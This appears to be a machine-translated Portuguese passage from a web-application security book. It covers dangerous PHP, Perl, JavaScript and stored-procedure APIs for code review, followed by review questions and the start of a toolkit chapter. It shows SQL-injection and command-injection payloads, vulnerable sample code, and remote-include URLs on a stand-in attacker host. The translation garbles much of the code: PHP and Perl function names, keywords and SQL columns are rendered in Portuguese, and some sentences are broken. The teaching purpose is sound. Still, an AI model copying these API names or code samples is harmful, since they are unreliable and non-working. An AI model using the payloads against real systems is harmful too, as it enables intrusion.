- `$GLOBALS` é uma matriz que contém referências a todas as variáveis definidas no escopo global do script. Ele pode ser usado para acessar outras variáveis por nome.
- Se a diretiva de configuração `register_globals` estiver ativada, o PHP criará variáveis globais para todos os parâmetros de solicitação, ou seja, tudo o que estiver contido na matriz `$_REQUEST`. Isso significa que um aplicativo pode acessar a entrada do usuário simplesmente fazendo referência a uma variável que tenha o mesmo nome do parâmetro relevante. Se um aplicativo usar esse método de acesso aos dados fornecidos pelo usuário, talvez não haja outra maneira de identificar todas as instâncias desse método a não ser por meio de uma análise cuidadosa linha por linha da base de código para encontrar variáveis usadas dessa maneira.
- Além dos cabeçalhos HTTP padrão identificados anteriormente, o PHP adiciona uma entrada à matriz `$_SERVER` para quaisquer cabeçalhos HTTP personalizados recebidos na solicitação. Por exemplo, fornecendo o cabeçalho:

  ```
  Foo: Bar
  ```

  causas:

  ```
  $_SERVER['HTTP_FOO'] = "Bar"
  ```

- Os parâmetros de entrada cujos nomes contêm subscritos entre colchetes são automaticamente convertidos em matrizes. Por exemplo, solicitando este URL:

  `https://wahh-app.com/search.php?query[a]=foo&query[b]=bar`

  faz com que o valor da variável `$_GET['query']` seja uma matriz contendo dois membros. Isso pode resultar em um comportamento inesperado no aplicativo se uma matriz for passada para uma função que espera um valor escalar.

Interação de sessões

O PHP usa a matriz `$_SESSION` como uma forma de armazenar e recuperar informações dentro da sessão do usuário. Por exemplo:

```
$_SESSION['MyName'] = $_GET['username'];          // armazena o nome do
usuário echo "Welcome " . $_SESSION['MyName'];    //recupera o nome do
usuário
```

A matriz `$HTTP_SESSION_VARS` pode ser usada da mesma forma.

Se `register_globals` estiver ativado (conforme discutido na seção posterior "Configurando o ambiente PHP"), as variáveis globais poderão ser armazenadas na sessão atual da seguinte forma:

```
$MyName = $_GET['username'];
session_register("MyName");
```

APIs potencialmente perigosas

Esta seção descreve algumas APIs comuns do PHP que podem introduzir vulnerabilidades de segurança se forem usadas de maneira insegura.

Acesso a arquivos

O PHP implementa um grande número de funções para acessar arquivos, muitas das quais aceitam URLs e outras construções que podem ser usadas para acessar arquivos remotos.

As funções a seguir são usadas para ler ou gravar o conteúdo de um arquivo especificado. Se dados controláveis pelo usuário forem passados para essas APIs, um invasor poderá explorá-las para acessar arquivos arbitrários no sistema de arquivos do servidor.

- `fopen`
- `arquivo de leitura`
- `arquivo`
- `fpassthru`
- `gzopen`

- `gzfile`
- `gzpassthru`
- `readgzfile`
- `cópia`
- `renomear`
- `rmdir`
- `mkdir`
- `desvincular`
- `file_get_contents`
- `file_put_contents`
- `parse_ini_file`

As funções a seguir são usadas para incluir e avaliar um script PHP especificado. Se um invasor puder fazer com que o aplicativo avalie um arquivo que ele controla, ele poderá obter a execução arbitrária de comandos no servidor.

- `incluir`
- `include_once`
- `exigir`
- `require_once`
- `virtual`

Observe que, mesmo que não seja possível incluir arquivos remotos, a execução de comandos ainda poderá ser possível se houver uma maneira de fazer upload de arquivos arbitrários para um local no servidor.

A opção de configuração do PHP `allow_url_fopen` pode ser usada para impedir que algumas funções de arquivo acessem arquivos remotos. No entanto, por padrão, essa opção é definida como `1` (o que significa que os arquivos remotos são permitidos), de modo que os protocolos listados na Tabela 19-8 podem ser usados para recuperar um arquivo remoto.

Tabela 19-8: Protocolos de rede que podem ser usados para recuperar um arquivo remoto

PROTOCOLO	EXEMPLO
HTTP, HTTPS	`http://wahh-attacker.com/bad.php`
FTP	`ftp://user:password@wahh-attacker.com/bad.php`
SSH	`ssh2.shell://user:pass@wahh-attacker.com:22/xterm` `ssh2.exec://user:pass@wahh-attacker.com:22/cmd`

Mesmo que `allow_url_fopen` esteja definido como `0`, os métodos listados na Tabela 19-9 ainda podem permitir que um invasor acesse arquivos remotos (dependendo das extensões instaladas).

Tabela 19-9: Métodos que podem permitir o acesso a arquivos remotos mesmo que `allow_url_fopen` É definido como 0

MÉTODO	EXEMPLO
SMB	`\\Arquivo de dados do atacante.com`
Fluxos de entrada/saída do PHP	`php://filter/resource=http://wahh-attacker.com/bad.php`
Fluxos de compressão	`compress.zlib://http://wahh-attacker.com/ruim.php`
Fluxos de áudio	`ogg://http://wahh-attacker.com/bad.php`

OBSERVAÇÃO O PHP 5.2 e versões posteriores têm uma nova opção, **`allow_url_include`**, que é desativada por padrão. Essa configuração padrão impede que qualquer um dos métodos anteriores seja usado para especificar um arquivo remoto ao chamar uma das funções de inclusão de arquivo.

Acesso ao banco de dados

As funções a seguir são usadas para enviar uma consulta a um banco de dados e recuperar os resultados:

- `mysql_query`
- `mssql_query`
- `pg_query`

A instrução SQL é passada como uma string simples. Se a entrada controlável pelo usuário fizer parte do parâmetro string, o aplicativo provavelmente estará vulnerável à injeção de SQL. Por exemplo:

```
$username = "admin' ou 1=1--";
$password = "foo";
$sql="SELECT * FROM users WHERE username = '$username' AND
    password = '$password'";
$resultado = mysql_query($sql, $link)
```

executa essa consulta não intencional:

```
SELECT * FROM users WHERE nome de usuário = 'admin' or
    1=1--' AND senha = 'foo'
```

As funções a seguir podem ser usadas para criar instruções preparadas. Isso permite que um aplicativo crie uma consulta SQL que contenha espaços reservados para parâmetros e defina seus valores de forma segura e protegida contra erros de digitação:

- `mysqli->prepare`
- `stmt->prepare`
- `stmt->bind_param`
- `stmt->execute`
- `odbc_prepare`

Se usado como pretendido, esse mecanismo não é vulnerável à injeção de SQL. Por exemplo:

```
$username = "admin' ou 1=1--";
$password = "foo";
$sql = $db_connection->prepare(
    "SELECT * FROM users WHERE username = ? AND password = ?");
$sql->bind_param("ss", $username, $password);
$sql->execute();
```

resulta em uma consulta que é equivalente à seguinte:

```
SELECT * FROM users WHERE nome de usuário = 'admin'' or 1=1--
    ' AND senha = 'foo'
```

Execução de código dinâmico

As funções a seguir podem ser usadas para avaliar dinamicamente o código PHP:

- `avaliação`
- `call_user_func`
- `call_user_func_array`
- `call_user_method`
- `call_user_method_array`
- `create_function`

O delimitador de ponto e vírgula pode ser usado para agrupar várias instruções. Se dados controláveis pelo usuário forem passados para qualquer uma dessas funções, o aplicativo provavelmente estará vulnerável à injeção de script.

A função `preg_replace`, que executa uma pesquisa e substituição de expressão regular, pode ser usada para executar uma parte específica do código PHP em cada correspondência se for chamada com a opção `/e`. Se dados controláveis pelo usuário aparecerem no PHP que é executado dinamicamente, o aplicativo provavelmente está vulnerável.

Outro recurso interessante do PHP é a capacidade de invocar funções dinamicamente por meio de uma variável que contém o nome da função. Por exemplo, o código a seguir invoca a função especificada no parâmetro `func` da string de consulta:

```
<?php
    $var=$_GET['func'];
    $var();
?>
```

Nessa situação, um usuário pode fazer com que o aplicativo invoque uma função arbitrária (sem parâmetros) modificando o valor do parâmetro `func`. Por exemplo, invocar a função `phpinfo` faz com que o aplicativo produza uma grande quantidade de informações sobre o ambiente PHP, incluindo opções de configuração, informações sobre o sistema operacional e extensões.

Execução de comandos do sistema operacional

Essas funções podem ser usadas para executar comandos do sistema operacional:

- `executar`
- `passthru`
- `popen`
- `proc_open`
- `shell_exec`
- `sistema`
- O operador de backtick (`)

Em todos esses casos, os comandos podem ser encadeados usando o caractere `|`. Se os dados controláveis pelo usuário forem passados sem filtro para qualquer uma dessas funções, o aplicativo provavelmente estará vulnerável à execução arbitrária de comandos.

Redirecionamento de URL

As APIs a seguir podem ser usadas para emitir um redirecionamento HTTP no PHP:

- `http_redirect`
- `cabeçalho`
- `HttpMessage::setResponseCode`
- `HttpMessage::setHeaders`

A maneira usual de causar um redirecionamento é por meio da função `http_redirect`, que recebe uma string contendo um URL relativo ou absoluto. Se o valor de

essa string for controlável pelo usuário, o aplicativo provavelmente está vulnerável a um vetor de phishing.

Os redirecionamentos também podem ser executados chamando a função `de cabeçalho` com um cabeçalho `Location` adequado, o que faz com que o PHP deduza que um redirecionamento HTTP é necessário. Por exemplo:

```
header("Location: /target.php");
```

Você também deve analisar todos os usos das APIs `setResponseCode` e `setHeaders`. Como um redirecionamento envolve simplesmente uma resposta 3xx contendo um cabeçalho HTTP `Location`, um aplicativo pode implementar redirecionamentos usando essas APIs.

Soquetes

As APIs a seguir podem ser usadas para criar e usar soquetes de rede no PHP:

- `socket_create`
- `socket_connect`
- `socket_write`
- `socket_send`
- `socket_recv`
- `fsockopen`
- `pfsockopen`

Depois que um soquete é criado com o uso `de socket_create`, ele é conectado a um host remoto por meio de uma chamada para `socket_connect`, que recebe como parâmetros os detalhes do host e da porta do destino. Se essas informações de host puderem ser controladas pelo usuário de alguma forma, o aplicativo poderá ser explorado para causar conexões de rede a hosts arbitrários, seja na Internet pública ou na DMZ privada ou na rede interna na qual o aplicativo está hospedado.

As funções `fsockopen` e `pfsockopen` podem ser usadas para abrir soquetes em um host e porta especificados e retornar um ponteiro de arquivo que pode ser usado com funções de arquivo regulares, como `fwrite` e `fgets`. Se os dados do usuário forem passados para essas funções, o aplicativo poderá ficar vulnerável, conforme descrito anteriormente.

Configuração do ambiente PHP

As opções de configuração do PHP são especificadas no arquivo `php.ini`, que usa a mesma estrutura dos arquivos INI do Windows. Várias opções podem afetar a segurança de um aplicativo. Muitas opções que historicamente causaram problemas foram removidas da versão mais recente do PHP.

Registrar globais

Se a diretiva `register_globals` estiver ativada, o PHP criará variáveis globais para todos os parâmetros da solicitação. Como o PHP não exige que as variáveis sejam inicializadas antes do uso, essa opção pode facilmente levar a vulnerabilidades de segurança nas quais um invasor pode fazer com que uma variável seja inicializada com um valor arbitrário.

Por exemplo, o código a seguir verifica as credenciais de um usuário e define o parâmetro
`$authenticated` para `1` se forem válidos:

```
Se (check_credentials($username, $password))
{
    $authenticated = 1;
}
...
Se ($authenticated)
{
    ...
```

Como a variável `$authenticated` não é inicializada explicitamente em `0`, um invasor pode contornar o login enviando o parâmetro de solicitação `authenticated=1`. Isso faz com que o PHP crie a variável global `$authenticated` com um valor de `1` antes que a verificação de credenciais seja executada.

OBSERVAÇÃO A partir do PHP 4.2.0, a diretiva **`register_globals`** é desativada por padrão. No entanto, como muitos aplicativos legados dependem de **`register_globals`** para sua operação normal, você pode descobrir que essa diretiva foi ativada explicitamente no **`php.ini`**. A opção **`register_globals`** foi removida no PHP 6.

Modo de segurança

Se a diretiva `safe_mode` estiver ativada, o PHP imporá restrições ao uso de algumas funções perigosas. Algumas funções são desativadas e outras estão sujeitas a limitações de uso. Por exemplo:

- A função `shell_exec` está desativada porque pode ser usada para executar comandos do sistema operacional.
- A função `mail` tem o parâmetro `additional_parameters` desativado porque o uso inseguro desse parâmetro pode levar a falhas de injeção de SMTP (consulte o Capítulo 10).
- A função `exec` pode ser usada somente para iniciar executáveis dentro do `safe_mode_exec_dir` configurado. Os metacaracteres na cadeia de comando são automaticamente escapados.

OBSERVAÇÃO Nem todas as funções perigosas são restritas pelo modo de segurança e algumas restrições são afetadas por outras opções de configuração. Além disso, há várias maneiras de contornar algumas restrições do modo de segurança. O modo de segurança não deve ser considerado uma panaceia para problemas de segurança em aplicativos PHP. O modo de segurança foi removido da versão 6 do PHP.

Citações mágicas

Se a diretiva `magic_quotes_gpc` estiver ativada, todos os caracteres de aspas simples, aspas duplas, barra invertida e `NULL` contidos nos parâmetros da solicitação serão escapados automaticamente usando uma barra invertida. Se a diretiva `magic_quotes_sybase` estiver ativada, as aspas simples serão substituídas por uma aspa simples. Essa opção foi projetada para proteger o código vulnerável que contém chamadas de banco de dados inseguras de serem exploradas por meio de entrada de usuário mal-intencionada. Ao analisar a base de código do aplicativo para identificar falhas de injeção de SQL, você deve estar ciente de que as aspas mágicas estão ativadas, pois isso afeta o tratamento de entrada do aplicativo.

O uso de aspas mágicas não impede todos os ataques de injeção de SQL. Conforme descrito no Capítulo 9, um ataque que injeta em um campo numérico não precisa usar aspas simples. Além disso, os dados cujas aspas foram escapadas ainda podem ser usados em um ataque de segunda ordem quando forem posteriormente lidos de volta do banco de dados.

A opção de aspas mágicas pode resultar em modificação indesejável da entrada do usuário, quando os dados estão sendo processados em um contexto que não exige nenhum escape. Isso pode resultar na adição de barras que precisam ser removidas usando a função `stripslashes`.

Alguns aplicativos executam seu próprio escape de entrada relevante, passando parâmetros individuais pela função `addslashes` somente quando necessário. Se as aspas mágicas estiverem ativadas na configuração do PHP, essa abordagem resultará em caracteres com escape duplo. As barras duplas são interpretadas como barras invertidas literais, deixando o caractere potencialmente malicioso sem escape.

Devido às limitações e anomalias da opção de aspas mágicas, recomenda-se que os comandos preparados sejam usados para acesso seguro ao banco de dados e que a opção de aspas mágicas seja desativada.

OBSERVAÇÃO A opção de aspas mágicas foi removida da versão 6 do PHP.

Diversos

A Tabela 19-10 lista algumas opções de configuração diversas que podem afetar a segurança dos aplicativos PHP.

Tabela 19-10: Opções diversas de configuração do PHP

OPÇÃO	DESCRIÇÃO
`allow_url_fopen`	Se estiver desativada, essa diretiva impedirá algumas funções de arquivo de acessar arquivos remotos (conforme descrito anteriormente).
`allow_url_include`	Se desativada, essa diretiva impede que o arquivo PHP inclua de serem usadas para incluir um arquivo remoto.
`display_errors`	Se desativada, essa diretiva impede que os erros do PHP sejam relatados ao navegador do usuário. As opções `log_errors` e `error_log` podem ser usadas para registrar informações sobre erros no servidor para fins de diagnóstico.
`file_uploads`	Se ativada, essa diretiva faz com que o PHP permita uploads de arquivos por HTTP.
`upload_tmp_dir`	Essa diretiva pode ser usada para especificar o diretório temporário diretório usado para armazenar os arquivos carregados. Isso pode ser usado para garantir que os arquivos confidenciais não sejam armazenados em um local que possa ser lido por todos.

Perl

Esta seção descreve maneiras de obter entradas fornecidas pelo usuário, maneiras de interagir com a sessão do usuário, APIs potencialmente perigosas e opções de configuração relevantes para a segurança na plataforma Perl.

A linguagem Perl é conhecida por permitir que os desenvolvedores executem a mesma tarefa de várias maneiras. Além disso, vários módulos Perl podem ser usados para atender a diferentes requisitos. Qualquer módulo incomum ou proprietário em uso deve ser analisado de perto para identificar se ele usa alguma função poderosa ou perigosa e, portanto, pode introduzir as mesmas vulnerabilidades como se o aplicativo fizesse uso direto dessas funções.

O CGI.pm é um módulo Perl amplamente usado para criar aplicativos da Web. Ele fornece as APIs que você provavelmente encontrará ao realizar uma revisão de código de um aplicativo da Web escrito em Perl.

Identificação de dados fornecidos pelo usuário

As funções listadas na Tabela 19-11 são todas membros do objeto de consulta CGI.

Tabela 19-11: Membros da consulta CGI usados para obter dados fornecidos pelo usuário

FUNÇÃO	DESCRIÇÃO
param param_fetch	Chamado sem parâmetros, param retorna uma lista de todos os nomes de parâmetros na solicitação. Chamado com o nome de um parâmetro, param retorna o valor desse parâmetro de solicitação. O método param_fetch retorna uma matriz dos parâmetros nomeados.
Vars	Retorna um mapeamento de hash de nomes de parâmetros para valores.
cookie raw_cookie	O valor de um cookie nomeado pode ser definido e recuperado usando a função cookie. A função raw_cookie retorna todo o conteúdo do cabeçalho do cookie HTTP, sem que nenhuma análise tenha sido realizada.
self_url url	Retorna o URL atual, no primeiro caso incluindo qualquer string de consulta.
query_string	Retorna a string de consulta da solicitação atual.
referenciador	Retorna o valor do cabeçalho HTTP Referer. request_method
	Retorna o valor do método HTTP usado na solicitação. user_agent
	Retorna o valor do cabeçalho HTTP User-agent.
http https	Retorna uma lista de todas as variáveis de ambiente HTTP derivadas da solicitação atual.
ReadParse	Cria uma matriz denominada %in que contém os nomes e valores de todos os parâmetros da solicitação.

Interação de sessões

O módulo Perl CGISession.pm estende o módulo CGI.pm e fornece suporte para rastreamento de sessão e armazenamento de dados. Por exemplo:

```
$q->session_data("MyName"=>param("username")); // armazena o nome do
usuário print "Welcome " . $q->session_data("MyName"); // recupera o nome
do usuário
```

APIs potencialmente perigosas

Esta seção descreve algumas APIs comuns do Perl que podem introduzir vulnerabilidades de segurança se forem usadas de maneira insegura.

Acesso a arquivos

As APIs a seguir podem ser usadas para acessar arquivos em Perl:

- `aberto`
- `abrir o sistema`

A função `open` lê e grava o conteúdo de um arquivo especificado. Se os dados controláveis pelo usuário forem passados como parâmetro do nome do arquivo, um invasor poderá acessar arquivos arbitrários no sistema de arquivos do servidor.

Além disso, se o parâmetro filename começar ou terminar com o caractere pipe, o conteúdo desse parâmetro será passado para um shell de comando. Se um invasor puder injetar dados que contenham metacaracteres do shell, como pipe ou ponto e vírgula, ele poderá executar comandos arbitrários. Por exemplo, no código a seguir, um invasor pode injetar no parâmetro `$useraddr` para executar comandos do sistema:

```
$useraddr = $query->param("useraddr");
open (MAIL, "| /usr/bin/sendmail $useraddr");
print MAIL "To: $useraddr\n";
...
```

Acesso ao banco de dados

A função `selectall_arrayref` envia uma consulta a um banco de dados e recupera os resultados como uma matriz de matrizes. A função `do` executa uma consulta e simplesmente retorna o número de linhas afetadas. Em ambos os casos, a instrução SQL é passada como uma string simples.

Se a entrada controlável pelo usuário incluir parte do parâmetro string, o aplicativo provavelmente estará vulnerável à injeção de SQL. Por exemplo:

```
my $username = "admin' or 1=1--"; my
$password = "foo";
my $sql="SELECT * FROM users WHERE username = '$username' AND password = '$password'";
my $result = $db_connection->selectall_arrayref($sql)
```

executa essa consulta não intencional:

```
SELECT * FROM users WHERE nome de usuário = 'admin' or
    1=1--' AND senha = 'foo'
```

As funções `prepare` e `execute` podem ser usadas para criar estados preparados, permitindo que um aplicativo crie uma consulta SQL contendo parâmetros

e definem seus valores de forma segura e protegida contra erros de digitação. Se usado como pretendido, esse mecanismo não é vulnerável à injeção de SQL. Por exemplo:

```
my $username = "admin' or 1=1--"; my
$password = "foo";
my $sql = $db_connection->prepare("SELECT * FROM users WHERE
    username = ? AND password = ?");
$sql->execute($username, $password);
```

resulta em uma consulta que é equivalente à seguinte:

```
SELECT * FROM users WHERE nome de usuário = 'admin'' or 1=1--
    ' AND senha = 'foo'
```

Execução de código dinâmico

`eval` pode ser usado para executar dinamicamente uma cadeia de caracteres contendo código Perl. O delimitador de ponto e vírgula pode ser usado para agrupar várias instruções. Se dados controláveis pelo usuário forem passados para essa função, o aplicativo provavelmente estará vulnerável à injeção de script.

Execução de comandos do sistema operacional

As seguintes funções podem ser usadas para executar comandos do sistema operacional:

- `sistema`
- `executar`
- `qx`
- O operador de backtick (`)

Em todos esses casos, os comandos podem ser encadeados usando o caractere `|`. Se os dados controláveis pelo usuário forem passados sem filtro para qualquer uma dessas funções, o aplicativo provavelmente estará vulnerável à execução arbitrária de comandos.

Redirecionamento de URL

A função de `redirecionamento`, que é um membro do objeto de consulta CGI, usa uma cadeia de caracteres que contém um URL relativo ou absoluto para o qual o usuário é redirecionado. Se o valor dessa cadeia for controlável pelo usuário, o aplicativo provavelmente está vulnerável a um vetor de phishing.

Soquetes

Depois que um soquete é criado com o uso do `soquete`, ele é conectado a um host remoto por meio de uma chamada para `conectar`, que recebe uma estrutura `sockaddr_in` composta pelos detalhes do host e da porta do destino. Se essas informações de host puderem ser controladas pelo usuário de alguma forma, o aplicativo poderá ser explorado para causar conexões de rede com hosts arbitrários, seja na Internet ou na DMZ privada ou na rede interna na qual o aplicativo está hospedado.

Configuração do ambiente Perl

O Perl fornece um modo taint que ajuda a evitar que a entrada fornecida pelo usuário seja passada para funções potencialmente perigosas. Você pode executar programas Perl no modo taint passando o sinalizador `-T` para o interpretador Perl da seguinte forma:

```
#!/usr/bin/perl -T
```

Quando um programa está sendo executado no modo contaminado, o interpretador rastreia cada item de entrada recebido de fora do programa e o trata como contaminado. Se outra variável tiver seu valor atribuído com base em um item contaminado, ela também será tratada como contaminada. Por exemplo:

```
$path = "/home/pubs "            # $path não está contaminado
$filename = param("file");       $filename é um parâmetro da solicitação e #
                                 está contaminado
$full_path = $path.$filename; # $full_path agora está contaminado
```

As variáveis contaminadas não podem ser passadas para uma série de comandos poderosos, incluindo `eval`, `system`, `exec` e `open`. Para usar dados contaminados em operações confidenciais, os dados devem ser "limpos" por meio da execução de uma operação de correspondência de padrões e da extração das substrings correspondentes. Por exemplo:

```
$full_path =~ m/^([a-zA-Z1-9]+)$/; # corresponde à submatch alfanumérica
                                     # em $full_path
$clean_full_path = $1;               definir $clean_full_path para a
                                     # primeira submatch
                                     # $clean_full_path não está contaminado
```

Embora o mecanismo de modo de contaminação tenha sido projetado para ajudar a proteger contra muitos tipos de vulnerabilidades, ele só será eficaz se os desenvolvedores usarem expressões regulares apropriadas ao extrair dados limpos de entradas contaminadas. Se uma expressão for muito liberal e extrair dados que possam causar problemas no contexto em que ela está sendo usada, ela poderá ser usada para proteger o sistema.

será usado, a proteção do modo taint falhará e o aplicativo ainda estará vulnerável. De fato, o mecanismo do modo taint lembra aos programadores que devem executar a validação adequada em todas as entradas antes de usá-las em operações perigosas. Ele não pode garantir que a validação de entrada implementada seja adequada.

JavaScript

O JavaScript do lado do cliente pode, é claro, ser acessado sem a necessidade de acesso privilegiado ao aplicativo, o que lhe permite realizar uma revisão de código com foco em segurança em qualquer situação. Um dos principais focos dessa revisão é identificar quaisquer vulnerabilidades, como XSS baseado em DOM, que são introduzidas no componente do cliente e deixam os usuários vulneráveis a ataques (consulte o Capítulo 12). Outro motivo para revisar o JavaScript é entender que tipos de validação de entrada são implementados no cliente e também como as interfaces de usuário geradas dinamicamente são construídas.

Ao analisar o JavaScript, certifique-se de incluir tanto os arquivos `.js` quanto os scripts incorporados no conteúdo HTML.

As principais APIs a serem enfocadas são aquelas que leem dados baseados no DOM e que gravam ou modificam o documento atual, conforme mostrado na Tabela 19-12.

Tabela 19-12: APIs JavaScript que leem dados baseados em DOM

API	DESCRIÇÃO

`document.location`
`document.URL`
`document.URLUnencoded`
`document.referrer`
`window.location`
	Pode ser usado para acessar dados DOM que podem ser controlados por meio de um URL criado e, portanto, pode representar um ponto de entrada para dados criados para atacar outros usuários de aplicativos.

`document.write()`
`document.writeln()`
`document.body.innerHtml`
`eval()`
`window.execScript()`
`window.setInterval()`
`window.setTimeout()`
	Pode ser usado para atualizar os conteúdos do documento e para executar dinamicamente o código JavaScript. Se os dados controláveis pelo invasor forem passados para qualquer uma dessas APIs, isso poderá fornecer uma maneira de executar JavaScript arbitrário no navegador da vítima.

Componentes do código do banco de dados

Os aplicativos da Web usam cada vez mais os bancos de dados para muito mais do que o armazenamento passivo de dados. Os bancos de dados atuais contêm interfaces de programação avançadas, permitindo que uma lógica comercial substancial seja implementada na própria camada do banco de dados. Os desenvolvedores frequentemente usam componentes de código de banco de dados, como procedimentos armazenados, acionadores e funções definidas pelo usuário, para executar tarefas importantes. Portanto, ao analisar o código-fonte de um aplicativo da Web, você deve garantir que toda a lógica implementada no banco de dados seja incluída no escopo da análise.

Os erros de programação nos componentes do código do banco de dados podem resultar em qualquer um dos vários defeitos de segurança descritos neste capítulo. Na prática, porém, você deve ficar atento a duas áreas principais de vulnerabilidades. Primeiro, os próprios componentes do banco de dados podem conter falhas de injeção de SQL. Segundo, a entrada do usuário pode ser passada para funções potencialmente perigosas de forma insegura.

Injeção de SQL

O Capítulo 9 descreveu como os comandos preparados podem ser usados como uma alternativa segura aos comandos SQL dinâmicos para evitar ataques de injeção de SQL. No entanto, mesmo que os comandos preparados sejam usados adequadamente em todo o código do próprio aplicativo Web, ainda poderão existir falhas de injeção de SQL se os componentes do código do banco de dados construírem consultas a partir da entrada do usuário de maneira insegura.

A seguir, um exemplo de procedimento armazenado que é vulnerável à injeção de SQL no parâmetro `@name`:

```
CREATE PROCEDURE show_current_orders
    (@name varchar(400) = NULL)
AS
DECLARE @sql nvarchar(4000)
SELECT @sql = 'SELECT id_num, searchstring FROM searchorders WHERE ' + 'searchstring
               = ''' + @name + '''';
EXEC (@sql)
GO
```

Mesmo que o aplicativo passe o valor `do nome` fornecido pelo usuário para o procedimento armazenado de forma segura, o próprio procedimento concatena esse valor diretamente em uma consulta dinâmica e, portanto, é vulnerável.

Diferentes plataformas de banco de dados usam métodos diferentes para realizar a execução dinâmica de strings contendo instruções SQL. Por exemplo:

- **MS-SQL** - `EXEC`
- **Oracle** - `EXECUTE IMMEDIATE`

- **Sybase** - `EXEC`
- **DB2** - `EXEC SQL`

Qualquer aparecimento dessas expressões nos componentes do código do banco de dados deve ser analisado com atenção. Se a entrada do usuário estiver sendo usada para construir a cadeia de caracteres SQL, o aplicativo poderá estar vulnerável à injeção de SQL.

NOTA No Oracle, os procedimentos armazenados são executados por padrão com as permissões do definidor, e não do invocador (como nos programas SUID no UNIX). Portanto, se o aplicativo usar uma conta com poucos privilégios para acessar o banco de dados e os procedimentos armazenados forem criados usando uma conta de DBA, uma falha de injeção de SQL em um procedimento poderá permitir que você aumente os privilégios e realize consultas arbitrárias ao banco de dados.

Chamadas para funções perigosas

Componentes de código personalizados, como procedimentos armazenados, são frequentemente usados para executar ações incomuns ou poderosas. Se os dados fornecidos pelo usuário forem passados para uma função potencialmente perigosa de forma insegura, isso poderá levar a vários tipos de vulnerabilidades, dependendo da natureza da função. Por exemplo, o procedimento armazenado a seguir é vulnerável à injeção de comando nos parâmetros `@loadfile` e `@loaddir`:

```
Criar import_data (@loadfile varchar(25), @loaddir varchar(25) ) como
começar
select @cmdstring = "$PATH/firstload " + @loadfile + " " + @loaddir exec
@ret = xp_cmdshell @cmdstring
...
...
Fim
```

As funções a seguir podem ser potencialmente perigosas se forem invocadas de forma insegura:

- Procedimentos armazenados padrão avançados no MS-SQL e no Sybase que permitem a execução de comandos, o acesso ao registro e assim por diante
- Funções que fornecem acesso ao sistema de arquivos
- Funções definidas pelo usuário que se vinculam a bibliotecas fora do banco de dados
- Funções que resultam em acesso à rede, como o `OpenRowSet` no MS-SQL ou um link de banco de dados no Oracle

Ferramentas para navegação de código

A metodologia que descrevemos para realizar uma revisão de código envolve essencialmente a leitura do código-fonte e a busca de padrões que indiquem a captura de entrada do usuário e o uso de APIs potencialmente perigosas. Para realizar uma revisão de código de forma eficaz, é preferível usar uma ferramenta inteligente para navegar na base de código. Você precisa de uma ferramenta que entenda as construções de código em uma linguagem específica, forneça informações contextuais sobre APIs e expressões específicas e facilite sua navegação.

Em muitos idiomas, você pode usar um dos estúdios de desenvolvimento disponíveis, como o Visual Studio, o NetBeans ou o Eclipse. Além disso, várias ferramentas genéricas de navegação de código oferecem suporte a vários idiomas e são otimizadas para visualização de código em vez de desenvolvimento. A ferramenta preferida dos autores é o Source Insight, mostrado na Figura 19-1. Ela suporta a navegação fácil da árvore de código-fonte, uma função de pesquisa versátil, um painel de visualização para exibir informações contextuais sobre qualquer expressão selecionada e navegação rápida pela base de código.

Figura 19-1: O Source Insight sendo usado para pesquisar e procurar o código-fonte de um aplicativo da Web

Resumo

Muitas pessoas com bastante experiência em testar aplicativos da Web de forma interativa apresentam um medo irracional de examinar a base de código de um aplicativo para descobrir vulnerabilidades diretamente. Esse medo é compreensível para pessoas que não são programadoras, mas raramente é justificado. Qualquer pessoa que esteja familiarizada com computadores pode, com um pouco de investimento, adquirir conhecimento e confiança suficientes para realizar uma auditoria de código eficaz. Seu objetivo ao revisar a base de código de um aplicativo não precisa ser descobrir "todas" as vulnerabilidades que ele contém, assim como você não estabeleceria essa meta irrealista ao realizar testes práticos. De forma mais razoável, você pode aspirar a entender alguns dos principais processamentos que o aplicativo realiza na entrada fornecida pelo usuário e reconhecer algumas das assinaturas que apontam para possíveis problemas. Abordada dessa forma, a revisão de código pode ser um complemento extremamente útil para os testes de caixa preta mais conhecidos. Ela pode melhorar a eficácia desses testes e revelar defeitos que podem ser extremamente difíceis de descobrir quando se está lidando com um aplicativo totalmente externo.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Liste três categorias de vulnerabilidades comuns que geralmente têm assinaturas facilmente reconhecíveis no código-fonte.
2. Por que identificar todas as fontes de entrada do usuário às vezes pode ser um desafio ao analisar um aplicativo PHP?
3. Considere os dois métodos a seguir para executar uma consulta SQL que incorpora a entrada fornecida pelo usuário:

```
// método 1
String artist = request.getParameter("artist").replaceAll("'", "''"); String
genre = request.getParameter("genre").replaceAll("'", "''"); String album =
request.getParameter("album").replaceAll("'", "''"); Statement s =
connection.createStatement();
s.executeQuery("SELECT * FROM music WHERE artist = '" + artist + '"
    AND genre = '" + genre + '" AND album = '" + album + "'");

// método 2
String artist = request.getParameter("artist");
String genre = request.getParameter("genre"); String
album = request.getParameter("album"); Statement s =
connection.prepareStatement(
    "SELECT * FROM music WHERE artist = '" + artist + "'
    AND genre = ? AND album = ?");
```

```
s.setString(1,   genre);
s.setString(2,   album);
s.executeQuery();
```

Qual desses métodos é mais seguro e por quê?

4. Você está analisando a base de código de um aplicativo Java. Durante o reconhecimento inicial, você procura por todos os usos da API `HttpServletRequest.getParameter`. O código a seguir chama sua atenção:

```
private void setWelcomeMessage(HttpServletRequest request) throws ServletException
{
    String name = request.getParameter("name");

    Se (nome == nulo)
        nome = "";

    m_welcomeMessage = "Bem-vindo " + nome +"!";
}
```

Que possível vulnerabilidade esse código pode indicar? Que análise de código adicional você precisaria realizar para confirmar se o aplicativo é de fato vulnerável?

5. Você está analisando o mecanismo que um aplicativo usa para gerar tokens de sessão. O código relevante é o seguinte:

```
classe pública TokenGenerator
{
    private java.util.Random r = new java.util.Random();

    public synchronized long nextToken()
    {
        long l = r.nextInt();
        long m = r.nextInt();

        Retornar l + (m << 32);
    }
}
```

Os tokens de sessão do aplicativo estão sendo gerados de forma previsível? Explique sua resposta completamente.

CAPÍTULO

20

Um kit de ferramentas para hackers de aplicativos da Web

Alguns ataques a aplicativos da Web podem ser realizados usando apenas um navegador da Web padrão; no entanto, a maioria deles exige o uso de algumas ferramentas adicionais. Muitas dessas ferramentas operam em conjunto com o navegador, seja como extensões que modificam a funcionalidade do próprio navegador, seja como ferramentas externas que são executadas junto com o navegador e modificam sua interação com o aplicativo de destino.

